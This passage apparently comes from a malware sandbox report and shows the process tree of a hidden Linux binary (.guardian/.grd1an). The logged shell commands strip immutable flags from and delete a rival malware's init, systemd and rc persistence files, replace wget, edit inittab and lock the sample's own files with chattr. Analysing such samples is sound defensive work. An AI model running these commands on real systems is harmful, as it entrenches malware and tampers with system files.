                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1550
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1551
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1011
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1029
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1030
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1031
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1033
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1034
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1035
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1037
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1038
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1039
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1041
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1042
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1043
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1127
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1129
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1130
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1131
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1133
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1134
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1135
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1137
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1138
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1139
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1141
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1142
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1223
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1225
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1226
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1227
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1229
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
